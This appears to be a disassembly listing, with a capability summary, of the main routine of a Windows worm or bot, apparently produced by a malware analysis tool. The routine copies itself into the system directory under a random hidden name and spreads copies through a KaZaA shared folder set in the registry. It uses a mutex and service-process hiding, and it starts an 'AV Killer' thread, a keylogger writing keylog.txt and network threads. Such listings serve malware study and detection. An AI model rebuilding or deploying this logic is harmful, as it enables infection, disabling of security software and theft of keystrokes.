Function at 0x401250
Capabilities:
Check mutex on windows
Copy file
Create directory
Create process on windows
Create thread
Get common file path
Initialize winsock library
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8ac
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x104]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x104
lea eax, [ebp - 0x208]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
push 0x21
push 0x412598
call fcn.00402b81
push 0x21
push str.tsm
call fcn.00402b81
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.CRTDLL.DLL_strstr
add esp, 0x18
or eax, eax
jne 0x401482
push str.wuaumqr.exe
lea eax, [ebp - 0x208]
push eax
push str._s_s
lea eax, [ebp - 0x6a0]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
jmp 0x40133d
call sub.KERNEL32.DLL_GetTickCount
push eax
call sub.CRTDLL.DLL_srand
pop ecx
xor esi, esi
jmp 0x401304
call sub.CRTDLL.DLL_rand
mov ecx, 0x1a
cdq
idiv ecx
mov edi, edx
add edi, 0x61
mov edx, edi
mov byte [esi + str.wuaumqr.exe], dl
inc esi
lea ecx, str.wuaumqr.exe
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40130d
mov edi, eax
sub edi, 4
cmp esi, edi
jb 0x4012e8
push str.wuaumqr.exe
lea eax, [ebp - 0x208]
push eax
push str._s_s
lea eax, [ebp - 0x6a0]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
push 0
lea eax, [ebp - 0x6a0]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_CopyFileA
or eax, eax
je 0x4012d8
push 2
lea eax, [ebp - 0x6a0]
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
call fcn.00402bd7
lea eax, [ebp - 0x208]
push eax
push str._skazaabackupfiles_
lea eax, [ebp - 0x7a4]
push eax
call sub.CRTDLL.DLL_sprintf
lea eax, [ebp - 0x7a4]
push eax
push str.012345:_s
lea eax, [ebp - 0x8ac]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x18
push 0
lea eax, [ebp - 0x7a4]
push eax
call sub.KERNEL32.DLL_CreateDirectoryA
lea eax, [ebp - 0x7a8]
push eax
push str.SOFTWAREKAZAALocalContent
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyA
push dword [ebp - 0x7a8]
call sub.ADVAPI32.DLL_RegCloseKey
lea eax, [ebp - 0x7a8]
push eax
push str.SOFTWAREKAZAALocalContent
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyA
push 0x7f
lea eax, [ebp - 0x8ac]
push eax
push 1
push 0
push str.Dir0
push dword [ebp - 0x7a8]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [ebp - 0x7a8]
call sub.ADVAPI32.DLL_RegCloseKey
xor esi, esi
jmp 0x401458
push 0x104
push 0
lea eax, [ebp - 0x59c]
push eax
call sub.CRTDLL.DLL_memset
push dword [esi*4 + 0x4120e8]
lea edi, [ebp - 0x7a4]
push edi
push str._s_s
lea edi, [ebp - 0x59c]
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x1c
push 0
lea eax, [ebp - 0x59c]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_CopyFileA
inc esi
cmp dword [esi*4 + 0x4120e8], 0
jne 0x40140d
push 5
push 0
push 0
lea eax, [ebp - 0x6a0]
push eax
push str.open
push 0
call sub.SHELL32.DLL_ShellExecuteA
push 0
call sub.KERNEL32.DLL_ExitProcess
lea ecx, [ebp - 0x104]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40148b
mov edi, eax
lea ecx, str.wuaumqr.exe
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40149d
mov edx, eax
sub edi, edx
lea edi, [ebp + edi - 0x104]
push edi
push str.wuaumqr.exe
call sub.CRTDLL.DLL_sprintf
add esp, 8
push str.krnel
push 1
push 0
call sub.KERNEL32.DLL_CreateMutexA
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0xb7
jne 0x4014de
push 0
call sub.KERNEL32.DLL_ExitProcess
push str.kernel32.dll
call sub.KERNEL32.DLL_LoadLibraryA
mov ebx, eax
or ebx, ebx
je 0x40153c
push str.RegisterServiceProcess
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x40bf74], eax
or eax, eax
je 0x40150c
push 1
push 0
call dword [0x40bf74]
push str.CreateToolhelp32Snapshot
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x40bebc], eax
push str.Process32First
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x40bf28], eax
push str.Process32Next
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [section..bss], eax
lea eax, [ebp - 0x498]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
or eax, eax
je 0x40156a
lea eax, [ebp - 0x498]
push eax
push 1
call sub.wsock32.dll_WSAStartup
or eax, eax
je 0x40156a
push 0
call sub.KERNEL32.DLL_ExitProcess
xor esi, esi
imul eax, esi, 0x15c
and dword [eax + 0x4094cc], 0
inc esi
cmp esi, 0x1e
jle 0x40156c
xor esi, esi
imul eax, esi, 0x214
and dword [eax + 0x40c07c], 0
inc esi
cmp esi, 0x28
jl 0x401582
xor esi, esi
imul eax, esi, 0x78
and dword [eax + 0x4081d4], 0
inc esi
cmp esi, 0x1e
jle 0x401598
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
push 0x4037dc
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov ebx, eax
push 0x413960
push 1
push ebx
push 0
push str.F_AV_Killer
call fcn.00402aea
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
push 0x402bbd
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
push 0x32
push 0
push 0x40bc70
call sub.CRTDLL.DLL_memset
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
push 0x4030e0
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov ebx, eax
push str.keylog.txt
lea eax, [ebp - 0x208]
push eax
push str.Keylogger_logging_to__s_s
lea eax, [ebp - 0x306]
push eax
call sub.CRTDLL.DLL_sprintf
push 0x413960
push 2
push ebx
push 0
lea eax, [ebp - 0x306]
push eax
call fcn.00402aea
add esp, 0x44
xor esi, esi
cmp dword [esi*4 + 0x412098], 0
jne 0x40165e
xor esi, esi
push dword [esi*4 + 0x4120a4]
push dword [esi*4 + 0x412098]
call fcn.00402ce8
add esp, 8
mov ebx, eax
cmp ebx, 1
je 0x401688
push 0x1388
call sub.KERNEL32.DLL_Sleep
inc esi
jmp 0x401652
call sub.wsock32.dll_WSACleanup
call fcn.004070f9
push 0
call sub.KERNEL32.DLL_ExitProcess
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x10